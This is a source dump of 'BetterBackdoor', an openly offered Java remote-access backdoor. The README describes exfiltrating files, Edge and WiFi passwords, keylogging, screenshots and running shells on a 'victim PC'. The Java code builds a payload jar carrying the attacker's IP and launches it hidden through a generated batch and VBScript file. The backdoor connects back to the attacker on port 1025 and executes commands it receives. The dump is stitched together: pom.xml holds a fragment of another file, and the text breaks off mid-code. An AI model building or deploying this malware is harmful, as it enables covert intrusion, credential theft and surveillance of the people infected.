Repository: thatcherclough/BetterBackdoor
Branch: master
Commit: 7a571d5d2bb2
Files: 19
Total size: 86.8 KB
Directory structure:
gitextract_4_znkum5/
├── .gitignore
├── .mvn/
│ └── wrapper/
│ ├── MavenWrapperDownloader.java
│ ├── maven-wrapper.jar
│ └── maven-wrapper.properties
├── LICENSE
├── README.md
├── mvnw
├── mvnw.cmd
├── pom.xml
└── src/
└── main/
└── java/
└── dev/
└── thatcherclough/
└── betterbackdoor/
├── BetterBackdoor.java
├── Setup.java
├── backdoor/
│ ├── Backdoor.java
│ └── HandleCommand.java
├── backend/
│ ├── DuckyScripts.java
│ ├── FTP.java
│ ├── KeyLogger.java
│ └── Utils.java
└── shell/
├── HandleCommand.java
└── Shell.java
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
/target/
/jre/
/backdoor/
.DS_Store
/*.jar
/gathered
/.idea/
BetterBackdoor.iml
/keys.txt
================================================
FILE: .mvn/wrapper/MavenWrapperDownloader.java
================================================
/*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
*/
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import java.util.Properties;
public class MavenWrapperDownloader {
/**
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
*/
private static final String DEFAULT_DOWNLOAD_URL =
"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar";
/**
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
* use instead of the default one.
*/
private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
".mvn/wrapper/maven-wrapper.properties";
/**
* Path where the maven-wrapper.jar will be saved to.
*/
private static final String MAVEN_WRAPPER_JAR_PATH =
".mvn/wrapper/maven-wrapper.jar";
/**
* Name of the property which should be used to override the default download url for the wrapper.
*/
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
public static void main(String args[]) {
System.out.println("- Downloader started");
File baseDirectory = new File(args[0]);
System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
// If the maven-wrapper.properties exists, read it and check if it contains a custom
// wrapperUrl parameter.
File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
String url = DEFAULT_DOWNLOAD_URL;
if(mavenWrapperPropertyFile.exists()) {
FileInputStream mavenWrapperPropertyFileInputStream = null;
try {
mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
Properties mavenWrapperProperties = new Properties();
mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
} catch (IOException e) {
System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
} finally {
try {
if(mavenWrapperPropertyFileInputStream != null) {
mavenWrapperPropertyFileInputStream.close();
}
} catch (IOException e) {
// Ignore ...
}
}
}
System.out.println("- Downloading from: : " + url);
File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
if(!outputFile.getParentFile().exists()) {
if(!outputFile.getParentFile().mkdirs()) {
System.out.println(
"- ERROR creating output direcrory '" + outputFile.getParentFile().getAbsolutePath() + "'");
}
}
System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
try {
downloadFileFromURL(url, outputFile);
System.out.println("Done");
System.exit(0);
} catch (Throwable e) {
System.out.println("- Error downloading");
e.printStackTrace();
System.exit(1);
}
}
private static void downloadFileFromURL(String urlString, File destination) throws Exception {
URL website = new URL(urlString);
ReadableByteChannel rbc;
rbc = Channels.newChannel(website.openStream());
FileOutputStream fos = new FileOutputStream(destination);
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
fos.close();
rbc.close();
}
}
================================================
FILE: .mvn/wrapper/maven-wrapper.properties
================================================
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.0/apache-maven-3.6.0-bin.zip
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2020 ThatcherDev
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# BetterBackdoor
A backdoor is a tool used to gain remote access to a machine.
Typically, backdoor utilities such as NetCat have two main functions: to pipe remote input into cmd or bash and output the response.
This is useful, but it is also limited.
BetterBackdoor overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks.
## Features
BetterBackdoor can create and control a backdoor.
This created backdoor can:
- Open a command prompt shell
- Run PowerShell scripts
- Run DuckyScripts to inject keystrokes
- Exfiltrate files based on extension
- Exfiltrate Microsoft Edge and WiFi passwords
- Send and receive files to and from victim's computer
- Start a KeyLogger
- Get a screenshot of victim's computer
- Get text copied to victim's clipboard
- Get contents from a victim's file (cat)
- Compress a directory to a ZIP file
- Decompress a ZIP file
This backdoor uses a client and server socket connection to communicate.
The attacker starts a server, and the victim connects to this server as a client.
(Note: if multiple clients attempt to connect, the user is prompted to select which client to connect to)
Once a connection is established, commands can be sent to the client in order to control the backdoor.
To create the backdoor, BetterBackdoor:
- Creates 'run.jar', the backdoor jar file, and copies it to directory 'backdoor'.
- Appends a text file containing the attacker's IP address and an encryption key (if the attacker selected to encrypt the data sent to and from the backdoor) to 'run.jar'.
- Note: this data is written in plain text.
- If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat' for running the backdoor in the packaged Java Runtime Environment.
The backdoor can operate within a single network, LAN, and over the internet, WAN.
However, in order to use the backdoor over WAN, port forwarding must be done.
For WAN use, ports 1025 and 1026 must be forwarded from the attackers computer with TCP selected. Once this is done, the backdoor can be controlled by the attacker even when the victim and attacker are on different networks.
To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.
If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.
This will start the backdoor on the victim's PC.
Once running, to control the backdoor you must return to BetterBackdoor and run option 1 at start.
## Demo
## Requirements
- A Java JDK distribution >=8 must be installed and added to PATH.
- You must use the same computer to create and control the backdoor.
- The IP address of this computer must remain static in the time between creating the backdoor and controlling it.
- The computer used to control the backdoor must have their firewall deactivated, and if the computer has a Unix OS, must run BetterBackdoor as 'sudo'.
## Compatibility
BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows.
## Installation
```
# clone BetterBackdoor
git clone https://github.com/thatcherclough/BetterBackdoor.git
# change the working directory to BetterBackdoor
cd BetterBackdoor
# build BetterBackdoor with Maven
# for Windows run
mvnw.cmd clean package
# for Linux and Mac run
sh mvnw clean package
```
## Usage
```
java -jar betterbackdoor.jar
```
## License
- [MIT](https://choosealicense.com/licenses/mit/)
- Copyright 2020 © Thatcher Clough.
================================================
FILE: mvnw
================================================
#!/bin/sh
# ----------------------------------------------------------------------------
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# ----------------------------------------------------------------------------
# ----------------------------------------------------------------------------
# Maven2 Start Up Batch script
#
# Required ENV vars:
# ------------------
# JAVA_HOME - location of a JDK home dir
#
# Optional ENV vars
# -----------------
# M2_HOME - location of maven2's installed home dir
# MAVEN_OPTS - parameters passed to the Java VM when running Maven
# e.g. to debug Maven itself, use
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
# ----------------------------------------------------------------------------
if [ -z "$MAVEN_SKIP_RC" ] ; then
if [ -f /etc/mavenrc ] ; then
. /etc/mavenrc
fi
if [ -f "$HOME/.mavenrc" ] ; then
. "$HOME/.mavenrc"
fi
fi
# OS specific support. $var _must_ be set to either true or false.
cygwin=false;
darwin=false;
mingw=false
case "`uname`" in
CYGWIN*) cygwin=true ;;
MINGW*) mingw=true;;
Darwin*) darwin=true
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html
if [ -z "$JAVA_HOME" ]; then
if [ -x "/usr/libexec/java_home" ]; then
export JAVA_HOME="`/usr/libexec/java_home`"
else
export JAVA_HOME="/Library/Java/Home"
fi
fi
;;
esac
if [ -z "$JAVA_HOME" ] ; then
if [ -r /etc/gentoo-release ] ; then
JAVA_HOME=`java-config --jre-home`
fi
fi
if [ -z "$M2_HOME" ] ; then
## resolve links - $0 may be a link to maven's home
PRG="$0"
# need this for relative symlinks
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG="`dirname "$PRG"`/$link"
fi
done
saveddir=`pwd`
M2_HOME=`dirname "$PRG"`/..
# make it fully qualified
M2_HOME=`cd "$M2_HOME" && pwd`
cd "$saveddir"
# echo Using m2 at $M2_HOME
fi
# For Cygwin, ensure paths are in UNIX format before anything is touched
if $cygwin ; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --unix "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
fi
# For Mingw, ensure paths are in UNIX format before anything is touched
if $mingw ; then
[ -n "$M2_HOME" ] &&
M2_HOME="`(cd "$M2_HOME"; pwd)`"
[ -n "$JAVA_HOME" ] &&
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
# TODO classpath?
fi
if [ -z "$JAVA_HOME" ]; then
javaExecutable="`which javac`"
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
# readlink(1) is not available as standard on Solaris 10.
readLink=`which readlink`
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
if $darwin ; then
javaHome="`dirname \"$javaExecutable\"`"
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
else
javaExecutable="`readlink -f \"$javaExecutable\"`"
fi
javaHome="`dirname \"$javaExecutable\"`"
javaHome=`expr "$javaHome" : '\(.*\)/bin'`
JAVA_HOME="$javaHome"
export JAVA_HOME
fi
fi
fi
if [ -z "$JAVACMD" ] ; then
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
else
JAVACMD="`which java`"
fi
fi
if [ ! -x "$JAVACMD" ] ; then
echo "Error: JAVA_HOME is not defined correctly." >&2
echo " We cannot execute $JAVACMD" >&2
exit 1
fi
if [ -z "$JAVA_HOME" ] ; then
echo "Warning: JAVA_HOME environment variable is not set."
fi
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
# traverses directory structure from process work directory to filesystem root
# first directory with .mvn subdirectory is considered project base directory
find_maven_basedir() {
if [ -z "$1" ]
then
echo "Path not specified to find_maven_basedir"
return 1
fi
basedir="$1"
wdir="$1"
while [ "$wdir" != '/' ] ; do
if [ -d "$wdir"/.mvn ] ; then
basedir=$wdir
break
fi
# workaround for JBEAP-8937 (on Solaris 10/Sparc)
if [ -d "${wdir}" ]; then
wdir=`cd "$wdir/.."; pwd`
fi
# end of workaround
done
echo "${basedir}"
}
# concatenates all lines of a file
concat_lines() {
if [ -f "$1" ]; then
echo "$(tr -s '\n' ' ' < "$1")"
fi
}
BASE_DIR=`find_maven_basedir "$(pwd)"`
if [ -z "$BASE_DIR" ]; then
exit 1;
fi
##########################################################################################
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
# This allows using the maven wrapper in projects that prohibit checking in binary data.
##########################################################################################
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found .mvn/wrapper/maven-wrapper.jar"
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
fi
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
while IFS="=" read key value; do
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
esac
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
if [ "$MVNW_VERBOSE" = true ]; then
echo "Downloading from: $jarUrl"
fi
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
if command -v wget > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found wget ... using wget"
fi
wget "$jarUrl" -O "$wrapperJarPath"
elif command -v curl > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found curl ... using curl"
fi
curl -o "$wrapperJarPath" "$jarUrl"
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download"
fi
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
if [ -e "$javaClass" ]; then
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Compiling MavenWrapperDownloader.java ..."
fi
# Compiling the Java class
("$JAVA_HOME/bin/javac" "$javaClass")
fi
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
# Running the downloader
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Running MavenWrapperDownloader.java ..."
fi
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
fi
fi
fi
fi
##########################################################################################
# End of extension
##########################################################################################
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
if [ "$MVNW_VERBOSE" = true ]; then
echo $MAVEN_PROJECTBASEDIR
fi
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
# For Cygwin, switch paths to Windows format before running java
if $cygwin; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --path --windows "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
[ -n "$MAVEN_PROJECTBASEDIR" ] &&
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
fi
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
exec "$JAVACMD" \
$MAVEN_OPTS \
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
"-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
================================================
FILE: mvnw.cmd
================================================
@REM ----------------------------------------------------------------------------
@REM Licensed to the Apache Software Foundation (ASF) under one
@REM or more contributor license agreements. See the NOTICE file
@REM distributed with this work for additional information
@REM regarding copyright ownership. The ASF licenses this file
@REM to you under the Apache License, Version 2.0 (the
@REM "License"); you may not use this file except in compliance
@REM with the License. You may obtain a copy of the License at
@REM
@REM https://www.apache.org/licenses/LICENSE-2.0
@REM
@REM Unless required by applicable law or agreed to in writing,
@REM software distributed under the License is distributed on an
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
@REM KIND, either express or implied. See the License for the
@REM specific language governing permissions and limitations
@REM under the License.
@REM ----------------------------------------------------------------------------
@REM ----------------------------------------------------------------------------
@REM Maven2 Start Up Batch script
@REM
@REM Required ENV vars:
@REM JAVA_HOME - location of a JDK home dir
@REM
@REM Optional ENV vars
@REM M2_HOME - location of maven2's installed home dir
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
@REM e.g. to debug Maven itself, use
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
@REM ----------------------------------------------------------------------------
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
@echo off
@REM set title of command window
title %0
@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
@REM set %HOME% to equivalent of $HOME
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
@REM Execute a user defined script before this one
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
@REM check for pre script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
:skipRcPre
@setlocal
set ERROR_CODE=0
@REM To isolate internal variables from possible post scripts, we use another setlocal
@setlocal
@REM ==== START VALIDATION ====
if not "%JAVA_HOME%" == "" goto OkJHome
echo.
echo Error: JAVA_HOME not found in your environment. >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
:OkJHome
if exist "%JAVA_HOME%\bin\java.exe" goto init
echo.
echo Error: JAVA_HOME is set to an invalid directory. >&2
echo JAVA_HOME = "%JAVA_HOME%" >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
@REM ==== END VALIDATION ====
:init
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
@REM Fallback to current working directory if not found.
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
set EXEC_DIR=%CD%
set WDIR=%EXEC_DIR%
:findBaseDir
IF EXIST "%WDIR%"\.mvn goto baseDirFound
cd ..
IF "%WDIR%"=="%CD%" goto baseDirNotFound
set WDIR=%CD%
goto findBaseDir
:baseDirFound
set MAVEN_PROJECTBASEDIR=%WDIR%
cd "%EXEC_DIR%"
goto endDetectBaseDir
:baseDirNotFound
set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
cd "%EXEC_DIR%"
:endDetectBaseDir
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
@setlocal EnableExtensions EnableDelayedExpansion
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
:endReadAdditionalConfig
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO (
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
)
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
if exist %WRAPPER_JAR% (
echo Found %WRAPPER_JAR%
) else (
echo Couldn't find %WRAPPER_JAR%, downloading it ...
echo Downloading from: %DOWNLOAD_URL%
powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"
echo Finished downloading %WRAPPER_JAR%
)
@REM End of extension
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
if ERRORLEVEL 1 goto error
goto end
:error
set ERROR_CODE=1
:end
@endlocal & set ERROR_CODE=%ERROR_CODE%
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
@REM check for post script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
:skipRcPost
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
if "%MAVEN_BATCH_PAUSE%" == "on" pause
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
exit /B %ERROR_CODE%
================================================
FILE: pom.xml
================================================
* If {@code packageJre} is true, copies the current machines JRE to directory
* 'backdoor' and {@code #createBat(String, String, String)} is used to create a
* '.bat' file for running the backdoor in the JRE. If {@code packageJre} is
* false but directory 'jre' containing a Windows JRE distribution exists, 'jre'
* is copied to 'backdoor' and {@code #createBat(String, String, String)} is
* used to create a '.bat' file for running the backdoor in the JRE. 'run.jar'
* is copied from 'target' to 'backdoor' and 'info' is appended into it using
* {@code #appendJar(String, String, String)}. If {@code ipType} is "internal",
* 'info' will contain the internal IP address of the current machine. Otherwise,
* if {@code ipType} is "external", 'info' will contain the external IP address of
* the current machine. If {@code encryptionKey} is not null, 'info' will also contain
* {@code encryptionKey}.
*
* @param packageJre if a JRE should be packaged with the backdoor
* @param ipType type of IP address to append to 'run.jar'
* @param encryptionKey key to be used to encrypt backdoor data
* @throws IOException
*/
public static void create(boolean packageJre, String ipType, String encryptionKey) throws IOException {
if (packageJre) {
String jrePath = System.getProperty("java.home");
FileUtils.copyDirectory(new File(jrePath + File.separator + "bin"),
new File("backdoor" + File.separator + "jre" + File.separator + "bin"));
FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"),
new File("backdoor" + File.separator + "jre" + File.separator + "lib"));
createBat("backdoor" + File.separator + "run.bat");
} else if (new File("jre").isDirectory()) {
FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre"));
createBat("backdoor" + File.separator + "run.bat");
}
FileUtils.copyFile(new File("target" + File.separator + "run.jar"),
new File("backdoor" + File.separator + "run.jar"));
String info = Utils.getIP(ipType);
if (encryptionKey != null) {
PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter("keys.txt", true)));
out.println(encryptionKey);
out.flush();
out.close();
info += "-" + encryptionKey;
}
appendJar("backdoor" + File.separator + "run.jar", "/info", info);
}
/**
* Creates a '.bat' batch file for running a jar file in a Java Runtime
* Environment.
*
* @param filePath path of '.bat' batch file to create
* @throws FileNotFoundException
*/
private static void createBat(String filePath) throws FileNotFoundException {
PrintWriter out = new PrintWriter(new File(filePath));
out.println(
"@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c "
+ "jre\\bin\\java -jar run.jar\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 3 > nul\n del run.vbs\n " +
"@exit\n"
+ ") else (\ncall:delvbs\n)\ngoto:eof");
out.flush();
out.close();
}
/**
* Appends a new file with name {@code filename} and contents
* {@code fileContents} into existing jar file with name {@code jarFile}.
*
* @param jarFile name of jar file to append
* @param filename name of new file to append in jar
* @param fileContents contents of new file to append in jar
* @throws IOException
*/
private static void appendJar(String jarFile, String filename, String fileContents) throws IOException {
Map
* Uses {@link #readFromJar(String)} to get the contents of "info", a text file
* inside the jar file this class will be running from. This file contains the
* IP address of the server to be used to control the backdoor, and possibly an encryption key.
* Sets {@link #ip} to this IP address. Creates directory {@code gatheredDir}.
*/
private Backdoor() {
try {
String contents = readFromJar("/info");
if (contents.contains("-")) {
ip = contents.substring(0, contents.indexOf("-"));
key = contents.substring(contents.indexOf("-") + 1);
} else
ip = contents;
new File(gatheredDir).mkdir();
} catch (Exception e) {
System.exit(0);
}
}
/**
* Starts backdoor.
*
* Attempts to connect to the server with the ip address {@link #ip} on port
* 1025. Once connected, starts a loop that continuously gets commands from the
* server and handles commands with
* {@link HandleCommand#handle(String command)}.
*/
private void start() {
try {
while (true)
try {
socket = new Socket(ip, 1025);
break;
} catch (Exception e) {
Thread.sleep(3000);
}
out = new ObjectOutputStream(socket.getOutputStream());
in = new ObjectInputStream(socket.getInputStream());
out.writeObject(Boolean.toString(key != null));
out.flush();
if (key != null)
while (true) {
String trueEncrypted = (String) in.readObject();
try {
String trueDecrypted = Utils.decrypt(trueEncrypted, key);
if (trueDecrypted.equals("true")) {
out.writeObject("true");
out.flush();
break;
} else
throw new Exception();
} catch (Exception e) {
out.writeObject("false");
out.flush();
}
}
while (true) {
String command;
String rec = (String) in.readObject();
if (key != null)
command = Utils.decrypt(rec, key);
else
command = rec;
HandleCommand.handle(command);
}
} catch (Exception e) {
try {
if (socket != null)
socket.close();
if (in != null)
in.close();
if (out != null)
out.close();
start();
} catch (Exception e1) {
System.exit(0);
}
}
}
/**
* Gets the contents of the file with the name {@code filename} from inside the
* jar file this class will be running from.
*
* @param filename name of the file to get contents of
* @return contents of the file
*/
private String readFromJar(String filename) {
StringBuilder ret = new StringBuilder();
Scanner in = new Scanner(getClass().getResourceAsStream(filename));
while (in.hasNextLine())
ret.append(in.nextLine());
in.close();
return ret.toString();
}
}
================================================
FILE: src/main/java/dev/thatcherclough/betterbackdoor/backdoor/HandleCommand.java
================================================
package dev.thatcherclough.betterbackdoor.backdoor;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Scanner;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.imageio.ImageIO;
import dev.thatcherclough.betterbackdoor.backend.DuckyScripts;
import dev.thatcherclough.betterbackdoor.backend.FTP;
import dev.thatcherclough.betterbackdoor.backend.KeyLogger;
import dev.thatcherclough.betterbackdoor.backend.Utils;
import org.apache.commons.io.FileUtils;
public class HandleCommand {
/**
* Handles command.
*
* Handles command {@code command} and sets {@code send} to an appropriate
* response. Uses {@link Backdoor#out} to send the response.
*
* @param command command given to the backdoor
*/
public static void handle(String command) throws IOException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException,
NoSuchPaddingException {
StringBuilder send = new StringBuilder();
if (command.equals("help"))
send = new StringBuilder("[cmd] Open a command prompt shell\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n"
+ "[exfiles] Exfiltarte files based on extension\n[expass] Exfiltrate Microsoft Edge and WiFi passwords\n"
+ "[filesend] Send a file to victim's computer\n[filerec] Receive a file from victim's computer\n"
+ "[keylog] Start a KeyLogger on victim's computer\n[ss] Get a screenshot of vitim's computer\n"
+ "[cb] Get text currently copied to victim's clipboard\n[cat] Get contents of a file on victim's computer\n"
+ "[zip] Compress a directory to a ZIP file\n[unzip] Decompress a ZIP file\n"
+ "[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit");
else if (command.equals("current-dir"))
send = new StringBuilder(System.getProperty("user.dir"));
else if (command.equals("current-cmd-dir"))
send = new StringBuilder(Utils.currentCMDDirectory);
else if (command.startsWith("cmd"))
send = new StringBuilder(Utils.runCommand(command.substring(4), true));
else if (command.startsWith("ps") || command.startsWith("ds")) {
File file = new File(command.substring(3));
try {
if (command.startsWith("ps") && file.exists())
